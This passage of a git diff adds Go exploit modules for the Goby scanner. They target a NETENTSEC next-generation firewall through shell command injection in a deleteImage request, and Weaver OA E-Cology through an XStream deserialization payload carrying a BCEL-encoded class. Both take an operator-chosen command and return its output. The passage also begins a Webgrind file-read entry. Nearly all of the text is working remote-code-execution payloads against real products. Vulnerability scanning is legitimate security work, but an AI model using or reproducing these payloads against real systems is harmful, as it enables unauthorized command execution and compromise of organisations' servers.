firewall", + "Homepage": "https://www.netentsec.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "(app=\"NETENTSEC-NGFW\" || title=\"网康下一代防火墙\")", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["WangKang Next generation firewall"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri_1 := "/directdata/direct/router" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/json") + cfg_1.Data = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;id >/var/www/html/test_cmd.txt\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}" + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "true") { + uri_2 := "/test_cmd.txt" + cfg_2 := httpclient.NewGetRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri_1 := "/directdata/direct/router" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/json") + cfg_1.Data = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;" + cmd + " >/var/www/html/test_cmd.txt\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "true") { + uri_2 := "/test_cmd.txt" + cfg_2 := httpclient.NewGetRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_2); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Weaver_OA_E_Cology_Workflowservicexml_RCE.go b/lib/goby/goby_pocs/Weaver_OA_E_Cology_Workflowservicexml_RCE.go new file mode 100644 index 000000000..d7fe5f090 --- /dev/null +++ b/lib/goby/goby_pocs/Weaver_OA_E_Cology_Workflowservicexml_RCE.go @@ -0,0 +1,112 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Weaver OA E-Cology Workflowservicexml RCE", + "Description": "Weaver OA E-Cology Workflowservicexml RCE", + "Product": "Weaver OA E-Cology", + "Homepage": "https://www.weaver.com.cn/", + "DisclosureDate": "2021-05-19", + "Author": "PeiQi", + "GobyQuery": "app=\"Weaver-OA\"", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "whoami" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Weaver OA"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/services%20/WorkflowServiceXml" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "text/xml") + cfg.Header.Store("Cmd", "net user") + cfg.Data = "<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85V$5bW$TW$U$fe$86$q$cc0$M$82A$84$a8$bd$d8V$N$u$89$d6$de$M$d6$8a$5c$ea$r$a05$U$x$da$ea0$ia$q$99$89$93$JP$7b$b1$ad$bd$df$ef$ad$bd$bc$f8$e2S$l$5c$ab$xj$5b$bb$da$3e$f6Gi$bf3$J$94$90$a8$ac$c5$999$fb$7c$fb$f6$ed$bdO$e6$df$5b$bf$fd$J$e01$fc$ac$a3$J$87t$a41$o$97Q$N$87u$i$c1s$g$8e$aa$c8$e8P1$a6$e2y$j$e38$s$91$_H$c9q$N$T$f2yB$c7I$bc$u$97$974$9cRqZ$83$a9$p$8aI$N$96$8a$v$N$v$VB$c7$ZL$cbeF$87$8d$b3$3a$ba0$ab$n$x$9f9$b98rq5$e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e0$S$9a$e5$f3$c1$x$88D7$d2$ee$Vh$87zJx$f8j$90$e3$N$fc$c1$_$81P$c0$c00V$H$b9$hhA$tV$91$c0V$q$d0$86$9d$94$a7$f8$b1q$Q$ed$98$c0$g$98$e8$40$Rkymw$e22$3f$vn$60$3d$ad$c4p$T$eb$f076$E$M$e6$d1L$3b$bf$a0$97$W$Q$e0$92$d8N$8f$hy$c7$ee$c0$a3$e4$3c$c1$9b$7c$t$3f$8bB$b4$7d$B$8fS$W$a6$H$XO$Q$X$a1$9fSx$SO$91$ed$o$G$b1$8b2$95$fe$b6$T$db$c7z$5c$a6$c5$ddx$9a$d5$baI$ad$3dx$86$3e$f6$f2$ff4$c2$b7$f1$xt$V$fd$w$f6$a9$YP1$Y$ac$7c$l$K$d6a$V$cfB$e1$ee6$83$b9$X$ae$n$d8$N$dff$3c$90J$fb$c3T$3a$Qt$cc$c1$ff$A$T$b5l$7e$d7$J$A$A </string> </a> </outer-class> </names> <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'> <parent class='sun.misc.Launcher$ExtClassLoader'> </parent> <package2certs class='hashtable'/> <classes defined-in='java.lang.ClassLoader'/> <defaultDomain> <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> </key> </defaultDomain> <domains class="java.util.Collections$SynchronizedSet" serialization="custom"> <java.util.Collections_-SynchronizedCollection> <default> <c class="set"></c> <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/> </default> </java.util.Collections_-SynchronizedCollection> </domains> <packages/> <nativeLibraries/> <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'> <__path> <paths/> <class__path>.</class__path> </__path> <__loadedClasses/> </repository> <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>/web:string>2" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + fmt.Println(resp) + return resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri := "/services%20/WorkflowServiceXml" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "text/xml") + cfg.Header.Store("Cmd", cmd) + cfg.Data = "<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85V$5bW$TW$U$fe$86$q$cc0$M$82A$84$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ee$92$7cr$c0$R$e9$b9$G$e5jp$i$e7$da$Y$I$9b$d0$cd$d5$u$D$d0$83$ad$7cj$d8$b6$a8$ac$dc$oN$a7$ec$9f$ebh$u$n$U$N$97$Q9$d4$Tm$M$dd$84Z$82$96$de$aa$f0$ad$a9$E$7dd$5b$J$cd$r$Y$d1$96$SV$8d$f6$S$d7$daKQ$5b$w$i$e3$7bstuE$p$V$89Eb$e1$8a$d2_$88$a6$gc$8d$d1$f6$S$d6H$fdhG$98$a8$e3$a1$e8$da$8c$84$aa1u$h$FM$Utf$C$f8$da$94$f6$3b$ba$8e_G$y$a6$95$b0$ae$84$f5$d7$b0$nz_$J$f7$a7$9ab$8d1$da$7c$e0$S$9a$e5$f3$c1$x$88D7$d2$ee$Vh$87zJx$f8j$90$e3$N$fc$c1$_$81P$c0$c00V$H$b9$hhA$tV$91$c0V$q$d0$86$9d$94$a7$f8$b1q$Q$ed$98$c0$g$98$e8$40$Rkymw$e22$3f$vn$60$3d$ad$c4p$T$eb$f076$E$M$e6$d1L$3b$bf$a0$97$W$Q$e0$92$d8N$8f$hy$c7$ee$c0$a3$e4$3c$c1$9b$7c$t$3f$8bB$b4$7d$B$8fS$W$a6$H$XO$Q$X$a1$9fSx$SO$91$ed$o$G$b1$8b2$95$fe$b6$T$db$c7z$5c$a6$c5$ddx$9a$d5$baI$ad$3dx$86$3e$f6$f2$ff4$c2$b7$f1$xt$V$fd$w$f6$a9$YP1$Y$ac$7c$l$K$d6a$V$cfB$e1$ee6$83$b9$X$ae$n$d8$N$dff$3c$90J$fb$c3T$3a$Qt$cc$c1$ff$A$T$b5l$7e$d7$J$A$A </string> </a> </outer-class> </names> <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'> <parent class='sun.misc.Launcher$ExtClassLoader'> </parent> <package2certs class='hashtable'/> <classes defined-in='java.lang.ClassLoader'/> <defaultDomain> <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> </key> </defaultDomain> <domains class="java.util.Collections$SynchronizedSet" serialization="custom"> <java.util.Collections_-SynchronizedCollection> <default> <c class="set"></c> <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/> </default> </java.util.Collections_-SynchronizedCollection> </domains> <packages/> <nativeLibraries/> <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'> <__path> <paths/> <class__path>.</class__path> </__path> <__loadedClasses/> </repository> <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>2" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest"){ + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Weaver_e_cology_OA_XStream_RCE_CVE_2021_21350.go b/lib/goby/goby_pocs/Weaver_e_cology_OA_XStream_RCE_CVE_2021_21350.go new file mode 100644 index 000000000..a748b0305 --- /dev/null +++ b/lib/goby/goby_pocs/Weaver_e_cology_OA_XStream_RCE_CVE_2021_21350.go @@ -0,0 +1,106 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Weaver e_cology OA XStream Remote Code Execution", + "Level": "3", + "Tags": [ + "RCE" + ], + "GobyQuery": "app=\"Weaver-OA\"", + "Description": "泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识管理、数据中心、工作流管理、人力资源管理、客户与合作伙伴管理、项目管理、财务管理、资产管理功能的协同商务平台。泛微e-cology OA系统存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令。", + "Product": "Weaver e-cology", + "Homepage": "https://www.weaver.com.cn/e9", + "Author": "flystart", + "Impact": "

攻击者可利用此漏洞造成远程代码执行

", + "Recommandation": "

官方已发布针对此漏洞的修复补丁,受影响用户也可采取下列防护措施对此漏洞进行临时防护。

", + "References": [ + "https://mp.weixin.qq.com/s/YcCydpGNiCrB0F_w6D5eRw" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/services%20/WorkflowServiceXml", + "follow_redirect": false, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE", + "Content-Type": "text/xml;charset=UTF-8" + }, + "data_type": "text", + "data": "\n \n \n <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$5bW$TW$U$fe$G$S$ced$Y$E$83$5cF$ad$a2$z$gT$aei$C$Ek$8d$40$wm$40$rT$8b$da$daar$m$Da$s$ceL$80$5e$ed$fd$7e$b1$7d$b3$7f$c0$d7$f6et$b5$ab$5d$7d$f6$a5k$b5$P$ed$af$a9$ddg$S$94$I$ad$85$b5$f6$9c$7d$fb$ce$be$9c$b3O$ee$fd$fd$e3$_$A$9e$c6$b7$K$o$YQ0$8a$94$mc2N$wx$G$a7d$3c$cbpZ$BC$9a$e1$8c$82qL$I$cbI$n$c9$c8xN$7c$cf$w$98$c2$f3$82$bc$m$p$cb0$zcFA$U$e7d$9cg$b8$mcVFNA$3b$e6$Y$5eTp$R$97$E$f3$92X$cd$x$b8$8c$x$K$f6$e2$aa$8c$97$c5$f7$VA$ae$J$f2$aa$M$9daAA7$M$86$bc$84$86$93$a6ez$a7$q$d4$c7z$$J$I$8d$dby$$$a19kZ$7c$a6$bc$ba$c0$9d9$7d$a1H$92$a6$9c$a7$h$x$d3z$v$e0$c9$952$60$a0$c5$Z$86E$K$8fb$a2$40$IZ$82$92$b3$cb$8e$c13$a6$f0$8bL$ae$e9$c5$bee$7dMW$RC$P$c3$92$8a$CL$V$cbX$91p$d4$b0W$fb$M$bdl$U$ec$3e$8b$7b$eb$b6$b3$d2W4$5d$8f$5b$7dsF$vg$h$x$dc$a3PV$Y$8a$wVaI$d8$bd$c4$bd$f1$b2$e3p$cb$9b$e5$d7$cb$dc$f5$uZ$B$df_$d4$ad$a5$fe$f1$a2$ee$ba$wl$94$q$b4$3c$U$9f$5bX$e6$86G$f1$aa$b8$OG$85$LOE$Z$c2$f7$9a$c3$dd$92m$b9$3c$a3$hz$9e$M$d6$b0N$v$a9$d8$c0k$w$5e$c7$h$94$D$edy$c91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b$tx$d1$5c$adL$97$ff$Ii$eb$cd$tLV$d0$dd$Z$ba0$c1$q$a7$82$85$ac$80$a9$bda$P2n$$$d1$c2$Lf$fa$9c$a3$h$i$87p$94$9e$m$f1$t$d1$3fMj$a2$c7$88$f9$k$Nh$q$e9_$c7$ee$40$ba$8b$3a$l$f5$d1$90$8fp$f6x$b4$a1$feg0$l$f2$f4$J$89V$R$l$caL$af$8fF$lj$b4$c9$c7$aeTH$L$91e$b3$W$oiK$w$ac$85I$Z$dd$5duJ5h$NZ$b8$ea$f7$x$a2$v$a6$b1h$ab$8f$3d$C$o$da$W$o$ab$f9$fah$7bN$98$ca$9a$dcK$82$I$J$3ar$81y$7b$w$a2E$a2$9d$3e$b4$5b$Y$f9$J$7b$e7$efb$9f$Wi$e9$f2$b1$df$c7$T$3e$O$dc$c1$c1$uq$87R$8a$c64$c5$c7$e1$5bh$U$df$to$p$i$7d$8a$b6$b9$N9$7b$dc$c7$91$l$u$cf$Q$7e$c3$ef$f4$o$d6$e18e$3a$83V$a2$wIw$a1$F$cd$d8G$b4$h$bb$R$a7$d7w$94ti$ec$c1$F$b4A$a7$f7$b6$80$O$9a$ee$9d$b8$J$N$df$91$e5$5d$ec$t$ac$$B$3b$80$3fp$Q$7f$e20N$Q$da2$c2$f7q$P$8d$M$bd$M$7d$M$fd$M$D$M$83$B$a5$f5P$40$e3$8c$7e3H$c4$dd$a7$98$fe$87i$5d$c0$c5$efS$dc$e4$d5$L$f1$U$tB$e4$9b$a4$j$eb0$fc$P$y$j$c8$d7$88$I$A$A </string> </a> </outer-class> </names> <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'> <parent class='sun.misc.Launcher$ExtClassLoader'> </parent> <package2certs class='hashtable'/> <classes defined-in='java.lang.ClassLoader'/> <defaultDomain> <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> </key> </defaultDomain> <domains class="java.util.Collections$SynchronizedSet" serialization="custom"> <java.util.Collections_-SynchronizedCollection> <default> <c class="set"></c> <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/> </default> </java.util.Collections_-SynchronizedCollection> </domains> <packages/> <nativeLibraries/> <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'> <__path> <paths/> <class__path>.</class__path> </__path> <__loadedClasses/> </repository> <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>\n 2\n \n \n\n" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "62962DAA55198E163F6CC3F7E3F1A505", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/services%20/WorkflowServiceXml", + "follow_redirect": false, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE", + "Content-Type": "text/xml;charset=UTF-8", + "Referer": "5c8ca382ae7a70a3c56e7d6c5f6603dc{{{cmd}}}" + }, + "data_type": "text", + "data": "\n \n \n <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'> <names class='java.util.AbstractList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>0</expectedModCount> <outer-class class='java.util.Arrays$ArrayList'> <a class='string-array'> <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dU$ebS$TW$U$ff$z$q$dc$cd$b2$I$E$Q$a2U$b1$z$g$E$S$K$f2$K$d6$8a$3c$w6$m$rT$Em$ed$b2$b9$c0B$d8$8d$fb$A$fa$7e$bf$9f3$fd$e4$l$d0$f1$b3_V$a7$9dv$3a$d3$_N$db$P$ed$3fTz$ee$s$I1$b46$99$b9$7b$cf$f3$fe$ce9$f7$9c$fb$db$df$3f$fc$M$e0$y$beU$Q$c1$80$82A$M$89$r$rcX$c19$3c$x$e3$3c$c3s$K$Y$$0$8c$u$b8$88Q$a19$s8$e32$s$c4$f7y$F$970$v$96$cb2$5e$60H$cb$98b$98$96qE$c6$8c$82F$bc$c80$ab$m$839A$bc$qvW$V$cc$e3$9a$82$W$y$c8X$U$df$ebb$b9$n$96$97e$bc$a2$m$8a$9b$M$af$wx$g$g$c3$92$84$aas$86i$b8$e7$rT$c6$db$afJ$I$8dZY$$$a16m$98$7c$da$dbX$e2$f6$9c$b6$94$pNM$c6$d5$f4$f5$v$z$l$d0dJ$f0$Zt$C$cf$90$rl$E$8c$d0$90k$JJ$c6$f2l$9dO$Y$c2N$k$bf6$93X$d365$V$a7$Rg$e0$w$96$b1$a2b$V$86$84$d3$ba$b5$91$d05O_$b5$S$sw$b7$y$7b$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A$X$d9$a2V$8e$b7$e4$U$h$a9$v$3e$d9$5e$ee$9ep$f3m$ae$d3$qyL$f83$b6$rb$j$$ASdRW$T$9aI3$ef$b9d$c9$b5$N$ba$f9$bb$88$a8$d3$f7$J$c8$bc$r$7e$a0$40$e4N$f5$i$3e$c6s$c6Fa2$fc$H$a4$fd$ddM$3e$d9$aa$e6LSC$EC$98$S$W2$D$a2$b4$83$kF$i$de$S$a3$e7_$d2M0j$f3$b4u$83q$3dgk$3a$c7I$9c$a2$a7E$fc$q$fa$d3$U$a6$b5$9d$88$efQ$85j$e2$feu$e6$k$a4$fb$a8$f0Q$Z$N$f9$I$a7$3b$a2U$95$3f$81$f9$90$a7$3a$r$daE$7c$u$d3$5d$3e$aa$7d$a8$d1$g$l$87R$a1X$884kc$n$e2$d6$a5$c2$b10$J$a3$f5E$a3TU$ac$w$W$$$da$fd$82h$8a$J$dbhC$88$c4$L$95$d1$c6$8c$d0$91cr$X1$o$c4h$ca$Ez$8d$a9H$y$S$3d$ec$a3$f96$G$7fD$cb$c2$7d$c4b$91$baV$lG$7c$i$f5$f1$c4$3d$i$8b$k$f7q$o$a5$c4XL$f1$d1z$h$d5$e2$7b$f2$O$c2$d1$t$7d$3cu$Hr$ba$c3G$db$5d$K0$84$H$f8$9d$5e$b9$K$9c$a1$Q$_$d3$bb$tFb$I$87P$87Z$i$a5$b5$N$f5$e8$r$fe$Q$g0$o$5eS4A$c3axh$a69$da$82$efp$EwI$f3$BN$90$a7c$f8$D$c7$f1$t$r$b3$83$3c$ad$n$bc$83_Q$cd$d0$c9$d0$c5$90$60H2t$H$x$ed$9f$J$d6$kF$fe$r$a2v$I$cf$ffP$ad$I$a8$9e$j$c2LV$9d$c0E$86$b3$n$b2$ed$a3$T$x$d0$ff$P$ca$d2$a5$5eU$I$A$A </string> </a> </outer-class> </names> <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'> <parent class='sun.misc.Launcher$ExtClassLoader'> </parent> <package2certs class='hashtable'/> <classes defined-in='java.lang.ClassLoader'/> <defaultDomain> <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/> <principals/> <hasAllPerm>false</hasAllPerm> <staticPermissions>false</staticPermissions> <key> </key> </defaultDomain> <domains class="java.util.Collections$SynchronizedSet" serialization="custom"> <java.util.Collections_-SynchronizedCollection> <default> <c class="set"></c> <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/> </default> </java.util.Collections_-SynchronizedCollection> </domains> <packages/> <nativeLibraries/> <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false</defaultAssertionStatus> <classes/> <ignored__packages> <string>java.</string> <string>javax.</string> <string>sun.</string> </ignored__packages> <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'> <__path> <paths/> <class__path>.</class__path> </__path> <__loadedClasses/> </repository> <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/> </processorCL> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>\n 2\n \n \n\n" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "PostTime": "2021-05-21 22:24:07", + "GobyVersion": "1.8.275", + "ExpTips": { + "Type": "", + "Content": "" + }, + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "DisclosureDate": "2021-05-22" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Webgrind_File_read_cve_2018_12909.go b/lib/goby/goby_pocs/Webgrind_File_read_cve_2018_12909.go new file mode 100644 index 000000000..51f2defb8 --- /dev/null +++ b/lib/goby/goby_pocs/Webgrind_File_read_cve_2018_12909.go @@ -0,0 +1,162 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Webgrind_File_read_cve-2018-12909", + "Description": "

